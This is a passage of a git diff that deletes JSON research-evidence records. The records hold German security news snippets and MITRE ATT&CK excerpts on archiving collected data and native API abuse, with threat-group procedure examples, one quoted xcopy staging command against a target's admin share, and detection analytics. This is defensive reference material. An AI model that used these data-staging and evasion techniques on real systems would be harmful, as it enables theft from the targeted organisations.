-{ - "schema_version": 1, - "saved_at": "2026-08-08T21:54:00.5260576Z", - "content_sha256": "d1dec2ff51157a9c4a9a67807faf3afd1b3a28cc50919e32df07f5e6f90d1d26", - "result": { - "title": "Jetzt patchen! Angreifer attackieren N-able N-central", - "url": "https://www.heise.de/news/Jetzt-patchen-Angreifer-attackieren-N-able-N-central-11397397.html", - "snippet": "N-ables Endpoint-Managementlösung N-central ist verwundbar und Angreifer attackieren bereits Instanzen. Admins sollten zügig handeln.", - "content": "N-ables Endpoint-Managementlösung N-central ist verwundbar und Angreifer attackieren bereits Instanzen. Admins sollten zügig handeln.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6292017707764841, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/db37d8eaedaf18627b74636a.json b/data/research-evidence/db37d8eaedaf18627b74636a.json deleted file mode 100644 index 2ba2080..0000000 --- a/data/research-evidence/db37d8eaedaf18627b74636a.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:42:11.8583962Z", - "content_sha256": "4258b30196ca959b85eb2a56d26dd3d018dfa500c5aa7d8f77466435fed4757d", - "result": { - "title": "[UPDATE] [mittel] Red Hat OpenShift Container Platform (Router): Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2040", - "snippet": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Red Hat OpenShift Container Platform ausnutzen, um Sicherheitsvorkehrungen zu umgehen.", - "content": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Red Hat OpenShift Container Platform ausnutzen, um Sicherheitsvorkehrungen zu umgehen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6689450863761945, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/db671b0b708c318dc1c8dfb9.json b/data/research-evidence/db671b0b708c318dc1c8dfb9.json deleted file mode 100644 index 5dc359b..0000000 --- a/data/research-evidence/db671b0b708c318dc1c8dfb9.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-09T04:16:04.1258943Z", - "content_sha256": "c6bc77393bee0b432a95524a561aec1f88081ddf8221b2e425da69fdc225fc95", - "result": { - "title": "Archive Collected Data: Archive via Utility, Sub-technique T1560.001 - Enterprise | MITRE ATT\u0026CK®", - "url": "https://attack.mitre.org/techniques/T1560/001/", - "snippet": "Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems.", - "content": "Archive Collected Data: Archive via Utility, Sub-technique T1560.001 - Enterprise | MITRE ATT\u0026CK®\n\nATT\u0026CKcon 7.0 in-person tickets are open! Join us October 27-28, 2026 in McLean, VA. Register here for in-person tickets; hotel and location details can be found in the FAQ .\n\nHome\n\nTechniques\n\nEnterprise\n\nArchive Collected Data\n\nArchive via Utility\n\nArchive Collected Data:\nArchive via Utility\n\nOther sub-techniques of Archive Collected Data\n(3)\n\nID\n\nName\n\nT1560.001\n\nArchive via Utility\n\nT1560.002\n\nArchive via Library\n\nT1560.003\n\nArchive via Custom Method\n\nAdversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems.\n\nOn Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. Remote Data Staging ). [1] xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use certutil to Base64 encode collected data before exfiltration.\n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities. [2] [3] [4]\n\nID: T1560.001\n\nSub-technique of:\nT1560\n\nTactic:\nCollection\n\nPlatforms: Linux, Windows, macOS\n\nContributors: Mark Wee; Mayan Arora aka Mayan Mohan\n\nVersion: 1.3\n\nCreated: 20 February 2020\n\nLast Modified: 12 May 2026\n\nVersion Permalink\n\nLive Version\n\nProcedure Examples\n\nID\n\nName\n\nDescription\n\nC0063\n\n2025 Poland Wiper Attacks\n\nDuring the 2025 Poland Wiper Attacks , the adversaries compressed stolen files into a zip file prior to exfiltration. [5]\n\nG1030\n\nAgrius\n\nAgrius used 7zip to archive extracted data in preparation for exfiltration. [6]\n\nG1024\n\nAkira\n\nAkira uses utilities such as WinRAR to archive data prior to exfiltration. [7]\n\nS0622\n\nAppleSeed\n\nAppleSeed can zip and encrypt data collected on a target system. [8]\n\nG0006\n\nAPT1\n\nAPT1 has used RAR to compress files before moving them outside of the victim network. [9]\n\nG0007\n\nAPT28\n\nAPT28 has used a variety of utilities, including WinRAR, to archive collected data with password protection. [10]\n\nC0051\n\nAPT28 Nearest Neighbor Campaign\n\nDuring APT28 Nearest Neighbor Campaign , APT28 used built-in PowerShell capabilities ( Compress-Archive cmdlet) to compress collected data. [11]\n\nG0022\n\nAPT3\n\nAPT3 has used tools to compress data before exfilling it. [12]\n\nG0064\n\nAPT33\n\nAPT33 has used WinRAR to compress data prior to exfil. [13]\n\nG0087\n\nAPT39\n\nAPT39 has used WinRAR and 7-Zip to compress an archive stolen data. [14]\n\nG0096\n\nAPT41\n\nAPT41 created a RAR archive of targeted files for exfiltration. [15] Additionally, APT41 used the makecab.exe utility to both download tools, such as NATBypass, to the victim network and to archive a file for exfiltration. [16]\n\nC0040\n\nAPT41 DUST\n\nAPT41 DUST used rar to compress data downloaded from internal Oracle databases prior to exfiltration. [17]\n\nG1023\n\nAPT5\n\nAPT5 has used the JAR/ZIP file format for exfiltrated files. [18]\n\nG0143\n\nAquatic Panda\n\nAquatic Panda has used several publicly available tools, including WinRAR and 7zip, to compress collected files and memory dumps prior to exfiltration. [19] [20]\n\nS1246\n\nBeaverTail\n\nBeaverTail has collected and archived sensitive data in a zip file. [21]\n\nG0060\n\nBRONZE BUTLER\n\nBRONZE BUTLER has compressed data into password-protected RAR archives prior to exfiltration. [22] [23]\n\nC0026\n\nC0026\n\nDuring C0026 , the threat actors used WinRAR to collect documents on targeted systems. The threat actors appeared to only exfiltrate files created after January 1, 2021. [24]\n\nS0274\n\nCalisto\n\nCalisto uses the zip -r command to compress the data collected on the local system. [25] [26]\n\nS1043\n\nccf32\n\nccf32 has used xcopy \\\\\u003ctarget_host\u003e\\c$\\users\\public\\path.7z c:\\users\\public\\bin\\\u003ctarget_host\u003e.7z /H /Y to archive collected files. [27]\n\nS0160\n\ncertutil\n\ncertutil may be used to Base64 encode collected data. [28] [29]\n\nG0114\n\nChimera\n\nChimera has used gzip for Linux OS and a modified RAR software to archive data on Windows hosts. [30] [31]\n\nG0052\n\nCopyKittens\n\nCopyKittens uses ZPP, a .NET console program, to compress files with ZIP. [32]\n\nS0212\n\nCORALDECK\n\nCORALDECK has created password-protected RAR, WinImage, and zip archives to be exfiltrated. [33]\n\nS0538\n\nCrutch\n\nCrutch has used the WinRAR utility to compress and encrypt stolen files. [34]\n\nC0029\n\nCutting Edge\n\nDuring Cutting Edge , threat actors saved collected data to a tar archive. [35]\n\nS0187\n\nDaserf\n\nDaserf hides collected data in password-protected .rar archives. [36]\n\nS0062\n\nDustySky\n\nDustySky can compress files via RAR while staging data to be exfiltrated. [37]\n\nG1006\n\nEarth Lusca\n\nEarth Lusca has used WinRAR to compress stolen files into an archive prior to exfiltration. [38]\n\nG1016\n\nFIN13\n\nFIN13 has compressed the dump output of compromised credentials with a 7zip binary. [39]\n\nG0061\n\nFIN8\n\nFIN8 has used RAR to compress collected data before exfiltration. [40]\n\nG0117\n\nFox Kitten\n\nFox Kitten has used 7-Zip to archive data. [41]\n\nC0007\n\nFunnyDream\n\nDuring FunnyDream , the threat actors used 7zr.exe to add collected files to an archive. [27]\n\nG0093\n\nGALLIUM\n\nGALLIUM used WinRAR to compress and encrypt stolen data prior to exfiltration. [42] [43]\n\nG0084\n\nGallmaker\n\nGallmaker has used WinZip, likely to archive data prior to exfiltration. [44]\n\nS9010\n\nGlassWorm\n\nGlassWorm has archived collected files within a zip file prior to exfiltration to include /tmp/out.zip . [45]\n\nG0125\n\nHAFNIUM\n\nHAFNIUM has used 7-Zip and WinRAR to compress stolen files for exfiltration. [46] [47]\n\nS1022\n\nIceApple\n\nIceApple can encrypt and compress files using Gzip prior to exfiltration. [48]\n\nS0278\n\niKitten\n\niKitten will zip up the /Library/Keychains directory before exfiltrating it. [49]\n\nG1032\n\nINC Ransom\n\nINC Ransom has used 7-Zip and WinRAR to archive collected data prior to exfiltration. [50] [51] [52] [53]\n\nS1245\n\nInvisibleFerret\n\nInvisibleFerret has used 7zip, RAR and zip files to archive collected data for exfiltration. [54] [55]\n\nS0260\n\nInvisiMole\n\nInvisiMole uses WinRAR to compress data that is intended to be exfiltrated. [56]\n\nG0004\n\nKe3chang\n\nKe3chang is known to use 7Zip and RAR with passwords to encrypt data prior to exfiltration. [57] [58]\n\nG0094\n\nKimsuky\n\nKimsuky has used QuickZip to archive stolen files before exfiltration. [59] Kimsuky has used the Send() function to compress all collected data into a zip file named init,.zip, then renames it to init.dat, before exfiltration. [60]\n\nS9035\n\nLAMEHUG\n\nLAMEHUG can xcopy for file collection on targeted systems. [61]\n\nG0030\n\nLotus Blossom\n\nLotus Blossom has used WinRAR for compressing data in RAR format. [62] [63]\n\nS1141\n\nLunarWeb\n\nLunarWeb can create a ZIP archive with specified files and directories. [64]\n\nG0059\n\nMagic Hound\n\nMagic Hound has used gzip to archive dumped LSASS process memory and RAR to stage and compress local folders. [65] [66] [67]\n\nG0045\n\nmenuPass\n\nmenuPass has compressed files before exfiltration using TAR and RAR. [68] [69] [70]\n\nS0339\n\nMicropsia\n\nMicropsia creates a RAR archive based on collected files on the victim's machine. [71]\n\nS9043\n\nMini Shai-Hulud\n\nMini Shai-Hulud has compressed collected credentials and data within tar archive files prior to exfiltration. [72]\n\nG1054\n\nMirrorFace\n\nMirrorFace has used rar.exe and the Makecab utility to archive files of interest prior to exfiltration. [73] [74] [75]\n\nG0069\n\nMuddyWater\n\nMuddyWater has used the native Windows cabinet creation tool, makecab.exe, likely to compress stolen data to be uploaded. [76]\n\nG0129\n\nMustang Panda\n\nMustang Panda has used RAR to create password-protected archives of collected documents prior to exfiltration. [77] [78] Mustang Panda has used WinRAR \"Rar.exe\" to archive stolen files before exfiltration. [79] Mustang Panda has also used TONESHELL and post-exploitation tools such as RemCom and Impacket to execute WinRAR rar.exe to archive files for exfiltration. [80]\n\nS0340\n\nOctopus\n\nOctopus has compressed data before exfiltrating it using a tool called Abbrevia. [81]\n\nS0439\n\nOkrum\n\nOkrum was seen using a RAR archiver tool to compress/decompress data. [82]\n\nS0264\n\nOopsIE\n\nOopsIE compresses collected files with GZipStream before sending them to its C2 server. [83]\n\nC0012\n\nOperation CuckooBees\n\nDuring Operation CuckooBees , the threat actors used the Makecab utility to compress and a version of WinRAR to create password-protected archives of stolen data prior to exfiltration. [84]\n\nC0022\n\nOperation Dream Job\n\nDuring Operation Dream Job , Lazarus Group archived victim's data into a RAR file. [85]\n\nC0006\n\nOperation Honeybee\n\nDuring Operation Honeybee , the threat actors uses zip to pack collected files before exfiltration. [86]\n\nC0014\n\nOperation Wocao\n\nDuring Operation Wocao , threat actors archived collected files with WinRAR, prior to exfiltration. [87]\n\nG1040\n\nPlay\n\nPlay has used WinRAR to compress files prior to exfiltration. [88] [89]\n\nS0428\n\nPoetRAT\n\nPoetRAT has the ability to compress files with zip. [90]\n\nS0378\n\nPoshC2\n\nPoshC2 contains a module for compressing data using ZIP. [91]\n\nS0441\n\nPowerShower\n\nPowerShower has used 7Zip to compress .txt, .pdf, .xls or .doc files prior to exfiltration. [92]\n\nS1228\n\nPUBLOAD\n\nPUBLOAD has used utilities such as WinRAR to archive data prior to exfiltration. [93]\n\nS0196\n\nPUNCHBUGGY\n\nPUNCHBUGGY has Gzipped information and saved it to a random temp file before exfil. [94]\n\nS0192\n\nPupy\n\nPupy can compress data with Zip before sending it over C2. [95]\n\nS0458\n\nRamsay\n\nRamsay can compress and archive collected files using WinRAR. [96] [97]\n\nS1040\n\nRclone\n\nRclone can compress files using gzip prior to exfiltration. [98]\n\nG1039\n\nRedCurl\n\nRedCurl has downloaded 7-Zip to decompress password protected archives. [99]\n\nS0332\n\nRemcos\n\nRemcos can zip files and folders for upload. [100]\n\nS1210\n\nSagerunex\n\nSagerunex has archived collected materials in RAR format. [62]\n\nS1168\n\nSampleCheck5000\n\nSampleCheck5000 can gzip compress files uploaded to a shared mailbox used for C2 and exfiltration. [101]\n\nG1041\n\nSea Turtle\n\nSea Turtle used the tar utility to create a local archive of email data on a victim system. [102]\n\nC0024\n\nSolarWinds Compromise\n\nDuring the SolarWinds Compromise , APT29 used 7-Zip to compress stolen emails into password-protected archives prior to exfltration; APT29 also compressed text files into zipped archives. [103] [104] [105]\n\nG0054\n\nSowbug\n\nSowbug extracted documents and bundled them into a RAR archive. [106]\n\nS9041\n\nTeamPCP Cloud Stealer\n\nTeamPCP Cloud Stealer has bundled collected data into a file named tpcp.tar.gz for exfiltration. [107] [108] [109] [110]\n\nG1022\n\nToddyCat\n\nToddyCat has leveraged xcopy, 7zip, and RAR to stage and compress collected documents prior to exfiltration. [111]\n\nS1239\n\nTONESHELL\n\nTONESHELL used WinRAR rar.exe to archive files for exfiltration. [80] [79] TONESHELL has also utilized a unique 13-character password consisting of upper lower case and digits to protect RAR archives. [79]\n\nS0647\n\nTurian\n\nTurian can use WinRAR to create a password-protected archive for files of interest. [112]\n\nG0010\n\nTurla\n\nTurla has encrypted files stolen from connected USB drives into a RAR file before exfiltration. [113]\n\nG1048\n\nUNC3886\n\nUNC3886 has used Gzip and the Windows command makecab to compress files and stolen credentials from victim systems. [114] [115]\n\nG1055\n\nVOID MANTICORE\n\nVOID MANTICORE has stored collected data in a password protected compressed file prior to exfiltration. [116]\n\nG1017\n\nVolt Typhoon\n\nVolt Typhoon has archived the ntds.dit database as a multi-volume password-protected archive with 7-Zip. [117] [118]\n\nS0466\n\nWindTail\n\nWindTail has the ability to use the macOS built-in zip utility to archive files. [119]\n\nG0102\n\nWizard Spider\n\nWizard Spider has archived data into ZIP files on compromised machines. [120]\n\nMitigations\n\nID\n\nMitigation\n\nDescription\n\nM1047\n\nAudit\n\nSystem scans can be performed to identify unauthorized archival utilities.\n\nDetection Strategy\n\nID\n\nName\n\nAnalytic ID\n\nAnalytic Description\n\nDET0298\n\nDetect Archiving via Utility (T1560.001)\n\nAN0831\n\nDetects adversarial archiving using built-in or third-party utilities (makecab, diantz, xcopy, certutil, 7z, WinRAR, WinZip). Correlates suspicious process creation events with command-line arguments for compression/encoding, followed by creation of archive files (.cab, .zip, .7z, .rar). Identifies anomalous loading of crypt32.dll for encryption operations or execution of diantz.exe to compress remotely staged files.\n\nAN0832\n\nDetects execution of archiving utilities (tar, gzip, bzip2, xz, zip, openssl) followed by suspicious archive file creation. Correlates archive creation in temporary or staging directories with execution of commands involving compression or encryption options.\n\nAN0833\n\nDetects invocation of macOS-native archiving utilities (zip, ditto, hdiutil) or openssl used for encryption. Correlates execution with archive or encrypted file creation (.zip, .dmg, .tar.gz) in user or temporary directories. Identifies anomalous use of archiving commands by Office applications or daemons.\n\nReferences\n\nLiving Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021.\n\nI. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.\n\nA. Roshal. (2020). RARLAB. Retrieved February 20, 2020.\n\nCorel Corporation. (2020). WinZip. Retrieved February 20, 2020.\n\nCERT Polska. (2026, January 30). Energy Sector Incident Report – 29 December. Retrieved April 22, 2026.\n\nOr Chechik, Tom Fakterman, Daniel Frank \u0026 Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and", - "content_type": "text/html", - "query": "Wie können die TTPs T1074.001 und T1560.001 in der Forensik von APT41- und UNC3886-Attacken genutzt werden?", - "language": "de-DE", - "round": 2, - "fetched": true, - "relevant": true, - "relevance": 0.7345454545454546, - "source_quality": "primary", - "source_quality_score": 0.8560000000000001, - "actionable": true, - "covered_gap_ids": [ - "AR-3444d441-4" - ], - "assessment_reason": "Die Quelle beschreibt die TTP T1560.001 (Archive via Utility) im Kontext von APT41-Attacken, indem sie erwähnt, dass APT41 RAR-Archive erstellt und makecab.exe verwendet hat. Dies ist direkt relevant für die Frage, wie TTPs in der Forensik von APT41-Attacken genutzt werden können. Allerdings fehlen konkrete Schritte oder umsetzbare Maßnahmen, die in der Forensik angewendet werden können. Die Quelle ist eine offizielle MITRE ATT\u0026CK-Dokumentation, was die Quallität erhöht, aber die fehlende actionable Information reduziert die Relevanz." - } -} diff --git a/data/research-evidence/de318ffdc74af533dd7d58e3.json b/data/research-evidence/de318ffdc74af533dd7d58e3.json deleted file mode 100644 index b492bee..0000000 --- a/data/research-evidence/de318ffdc74af533dd7d58e3.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:56:13.1293058Z", - "content_sha256": "37e22088c17f070dd49105dd543ca383fd582c1d9909d19b5ffe8f591dcf43fd", - "result": { - "title": "Angreifer missbrauchen Backdoor in Ciscos Firewall-Verwaltungssoftware", - "url": "https://www.heise.de/news/Angreifer-missbrauchen-Backdoor-in-Ciscos-Firewall-Verwaltungssoftware-11384735.html", - "snippet": "Angreifer missbrauchen fest einprogrammierte Zugangsdaten in Ciscos Firewall-Verwaltungssoftware. Updates sollen dagegen helfen.", - "content": "Angreifer missbrauchen fest einprogrammierte Zugangsdaten in Ciscos Firewall-Verwaltungssoftware. Updates sollen dagegen helfen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6161259924847604, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/deaf5714f9a3b23f3352d257.json b/data/research-evidence/deaf5714f9a3b23f3352d257.json deleted file mode 100644 index 148617e..0000000 --- a/data/research-evidence/deaf5714f9a3b23f3352d257.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-09T03:56:05.8263Z", - "content_sha256": "23ce9dc4f01baa0884e76aea1524c47f68083053d59103389a1b7a5b3ce1b94c", - "result": { - "title": "Native API, Technique T1106 - Enterprise | MITRE ATT\u0026CK®", - "url": "https://attack.mitre.org/techniques/T1106/", - "snippet": "Native API Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.", - "content": "Native API, Technique T1106 - Enterprise | MITRE ATT\u0026CK®\n\nATT\u0026CKcon 7.0 in-person tickets are open! Join us October 27-28, 2026 in McLean, VA. Register here for in-person tickets; hotel and location details can be found in the FAQ .\n\nHome\n\nTechniques\n\nEnterprise\n\nNative API\n\nNative API\n\nAdversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. [1] [2] These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter , the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as NtCreateProcess ) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. [3] [4] [5] For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes. [6] [7] This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations. [8] [9] [10]\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code. [11] [12] [13] [14]\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks. [15] Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via Disable or Modify Tools .\n\nID: T1106\n\nSub-techniques:\nNo sub-techniques\n\nTactic:\nExecution\n\nPlatforms: Linux, Windows, macOS\n\nContributors: Gordon Long, LegioX/Zoom, asaurusrex; Stefan Kanthak; Tristan Madani (Cybereason)\n\nVersion: 2.3\n\nCreated: 31 May 2017\n\nLast Modified: 12 May 2026\n\nVersion Permalink\n\nLive Version\n\nProcedure Examples\n\nID\n\nName\n\nDescription\n\nS0045\n\nADVSTORESHELL\n\nADVSTORESHELL is capable of starting a process using CreateProcess. [16]\n\nS1129\n\nAkira\n\nAkira executes native Windows functions such as GetFileAttributesW and GetSystemInfo . [17]\n\nS1025\n\nAmadey\n\nAmadey has used a variety of Windows API calls, including GetComputerNameA , GetUserNameA , and CreateProcessA . [18]\n\nS9027\n\nANELLDR\n\nANELLDR can use the ZwSetInformationThread to enable debugger evasion. [19]\n\nS0622\n\nAppleSeed\n\nAppleSeed has the ability to use multiple dynamically resolved API calls. [20]\n\nG0067\n\nAPT37\n\nAPT37 leverages the Windows API calls: VirtualAlloc(), WriteProcessMemory(), and CreateRemoteThread() for process injection. [21]\n\nG0082\n\nAPT38\n\nAPT38 has used the Windows API to execute code within a victim's system. [22]\n\nS0456\n\nAria-body\n\nAria-body has the ability to launch files using ShellExecute . [23]\n\nS1087\n\nAsyncRAT\n\nAsyncRAT has the ability to use OS APIs including CheckRemoteDebuggerPresent . [24]\n\nS0438\n\nAttor\n\nAttor 's dispatcher has used CreateProcessW API for execution. [25]\n\nS0640\n\nAvaddon\n\nAvaddon has used the Windows Crypto API to generate an AES key. [26]\n\nS1053\n\nAvosLocker\n\nAvosLocker has used a variety of Windows API calls, including NtCurrentPeb and GetLogicalDrives . [27]\n\nS0638\n\nBabuk\n\nBabuk can use multiple Windows API calls for actions on compromised hosts including discovery and execution. [28] [29] [30]\n\nS0475\n\nBackConfig\n\nBackConfig can leverage API functions such as ShellExecuteA and HttpOpenRequestA in the process of downloading and executing files. [31]\n\nS0606\n\nBad Rabbit\n\nBad Rabbit has used various Windows API calls. [32]\n\nS1081\n\nBADHATCH\n\nBADHATCH can utilize Native API functions such as, ToolHelp32 and Rt1AdjustPrivilege to enable SeDebugPrivilege on a compromised machine. [33]\n\nS0128\n\nBADNEWS\n\nBADNEWS has a command to download an .exe and execute it via CreateProcess API. It can also run with ShellExecute. [34] [35]\n\nS0234\n\nBandook\n\nBandook has used the ShellExecuteW() function call. [36]\n\nS0239\n\nBankshot\n\nBankshot creates processes using the Windows API calls: CreateProcessA() and CreateProcessAsUserA(). [37]\n\nS0534\n\nBazar\n\nBazar can use various APIs to allocate memory and facilitate code execution/injection. [38]\n\nS0470\n\nBBK\n\nBBK has the ability to use the CreatePipe API to add a sub-process for execution via cmd . [39]\n\nS0574\n\nBendyBear\n\nBendyBear can load and execute modules and Windows Application Programming (API) calls using standard shellcode API hashing. [40]\n\nS0268\n\nBisonal\n\nBisonal has used the Windows API to communicate with the Service Control Manager to execute a thread. [41]\n\nS0570\n\nBitPaymer\n\nBitPaymer has used dynamic API resolution to avoid identifiable strings within the binary, including RegEnumKeyW . [42]\n\nS1070\n\nBlack Basta\n\nBlack Basta has the ability to use native APIs for numerous functions including discovery and defense evasion. [43] [44] [45] [46] [47]\n\nS1180\n\nBlackByte Ransomware\n\nBlackByte Ransomware uses the SetThreadExecutionState API to prevent the victim system from entering sleep. [48]\n\nG0098\n\nBlackTech\n\nBlackTech has used built-in API functions. [49]\n\nS0521\n\nBloodHound\n\nBloodHound can use .NET API calls in the SharpHound ingestor component to pull Active Directory data. [50]\n\nS1226\n\nBOOKWORM\n\nBOOKWORM has used various Windows API calls during execution and defense evasion. [51] [52] BOOKWORM has created a buffer on the heap using HeapCreate and HeapAlloc which allows for copying of shell code and then execution on the heap is initiated through callback function of legitimate API functions such as EnumChildWindows or EnumSystemLanguageGroupsA . [52]\n\nS0651\n\nBoxCaon\n\nBoxCaon has used Windows API calls to obtain information about the compromised host. [53]\n\nS1063\n\nBrute Ratel C4\n\nBrute Ratel C4 can call multiple Windows APIs for execution, to share memory, and defense evasion. [54] [55]\n\nS0471\n\nbuild_downer\n\nbuild_downer has the ability to use the WinExec API to execute malware on a compromised host. [39]\n\nS1039\n\nBumblebee\n\nBumblebee can use multiple Native APIs. [56] [57]\n\nS0693\n\nCaddyWiper\n\nCaddyWiper has the ability to dynamically resolve and use APIs, including SeTakeOwnershipPrivilege . [58]\n\nS9016\n\nCaminho\n\nCaminho can use System.Net.WebClient.downloadString() for file download. [59]\n\nS1237\n\nCANONSTAGER\n\nCANONSTAGER has leveraged Native API calls to execute code within the victim’s system including GetCurrentDirectoryW , RegisterClassW and CreateWindowExW . [60] CANONSTAGER also created a new overlapped window that initiates callback functions to a windows procedure that processes Windows messages until a designated message type of 0x0018 WM_SHOWWINDOW is observed which then initiates the deployment of a subsequent malicious payload. [60]\n\nS0484\n\nCarberp\n\nCarberp has used the NtQueryDirectoryFile and ZwQueryDirectoryFile functions to hide files and directories. [61]\n\nS0631\n\nChaes\n\nChaes used the CreateFileW() API function with read permissions to access downloaded payloads. [62]\n\nG0114\n\nChimera\n\nChimera has used direct Windows system calls by leveraging Dumpert. [63]\n\nS1149\n\nCHIMNEYSWEEP\n\nCHIMNEYSWEEP can use Windows APIs including LoadLibrary and GetProcAddress . [64]\n\nS0667\n\nChrommme\n\nChrommme can use Windows API including WinExec for execution. [65]\n\nS1236\n\nCLAIMLOADER\n\nCLAIMLOADER has used various Windows API calls during execution, when establishing persistence and defense evasion. [66] [67] CLAIMLOADER has also leveraged the legitimate API functions to run its shellcode through the callback function, including GetDC() and EnumFontsW() . [66] CLAIMLOADER established persistence by utilizing the API SHSetValue() . [66] CLAIMLOADER has utilized APIs with callback functions such as EnumpropsExW , EnumSystemLanguageGroupsA , and EnumCalendarInfoExW . [67]\n\nS0611\n\nClop\n\nClop has used built-in API functions such as WNetOpenEnumW(), WNetEnumResourceW(), WNetCloseEnum(), GetProcAddress(), and VirtualAlloc(). [68] [69]\n\nS0154\n\nCobalt Strike\n\nCobalt Strike 's Beacon payload is capable of running shell commands without cmd.exe and PowerShell commands without powershell.exe [70] [71] [72] Cobalt Strike can also use CreateThreadpoolWait , SetThreadpoolWait , and MessageBoxA for sandbox evasion and execution of embedded payloads in memory. [73]\n\nS0126\n\nComRAT\n\nComRAT can load a PE file from memory or the file system and execute it with CreateProcessW . [74]\n\nS0575\n\nConti\n\nConti has used API calls during execution. [75] [76]\n\nS0614\n\nCostaBricks\n\nCostaBricks has used a number of API calls, including VirtualAlloc , VirtualFree , LoadLibraryA , GetProcAddress , and ExitProcess . [77]\n\nS0625\n\nCuba\n\nCuba has used several built-in API functions for discovery like GetIpNetTable and NetShareEnum. [78]\n\nS0687\n\nCyclops Blink\n\nCyclops Blink can use various Linux API functions including those for execution and discovery. [79]\n\nS1111\n\nDarkGate\n\nDarkGate uses the native Windows API CallWindowProc() to decode and launch encoded shellcode payloads during execution. [80] DarkGate can call kernel mode functions directly to hide the use of process hollowing methods during execution. [81] DarkGate has also used the CreateToolhelp32Snapshot , GetFileAttributesA and CreateProcessA functions to obtain a list of running processes, to check for security products and to execute its malware. [82]\n\nS1066\n\nDarkTortilla\n\nDarkTortilla can use a variety of API calls for persistence and defense evasion. [83]\n\nS1033\n\nDCSrv\n\nDCSrv has used various Windows API functions, including DeviceIoControl , as part of its encryption process. [84]\n\nS1052\n\nDEADEYE\n\nDEADEYE can execute the GetComputerNameA and GetComputerNameExA WinAPI functions. [85]\n\nS0354\n\nDenis\n\nDenis used the IsDebuggerPresent , OutputDebugString , and SetLastError APIs to avoid debugging. Denis used GetProcAddress and LoadLibrary to dynamically resolve APIs. Denis also used the Wow64SetThreadContext API as part of a process hollowing process. [86]\n\nS0659\n\nDiavol\n\nDiavol has used several API calls like GetLogicalDriveStrings , SleepEx , SystemParametersInfoAPI , CryptEncrypt , and others to execute parts of its attack. [87]\n\nS0695\n\nDonut\n\nDonut code modules use various API functions to load and inject code. [88]\n\nS9021\n\nDOWNIISSA\n\nDOWNIISSA can use the URLDownloadToFileA() API to download from remote resources. [89]\n\nS0694\n\nDRATzarus\n\nDRATzarus can use various API calls to see if it is running in a sandbox. [90]\n\nS0384\n\nDridex\n\nDridex has used the OutputDebugStringW function to avoid malware analysis as part of its anti-debugging technique. [91]\n\nS9038\n\nDynoWiper\n\nDynoWiper has used multiple native Windows functions, such as GetLogicalDrives and FindNextFile for discovery and file deletion. [92] [93]\n\nS0554\n\nEgregor\n\nEgregor has used the Windows API to make detection more difficult. [94]\n\nS1247\n\nEmbargo\n\nEmbargo has leveraged Windows Native API functions to execute its operations. [95]\n\nS0367\n\nEmotet\n\nEmotet has used CreateProcess to create a new process to run its executable and WNetEnumResourceW to enumerate non-hidden shares. [96]\n\nS0363\n\nEmpire\n\nEmpire contains a variety of enumeration modules that have an option to use API calls to carry out tasks. [97]\n\nS0396\n\nEvilBunny\n\nEvilBunny has used various API calls as part of its checks to see if the malware is running in a sandbox. [98]\n\nS1179\n\nExbyte\n\nExbyte calls ShellExecuteW with the IpOperation parameter RunAs to launch explorer.exe with elevated privileges. [99]\n\nS0569\n\nExplosive\n\nExplosive has a function to call 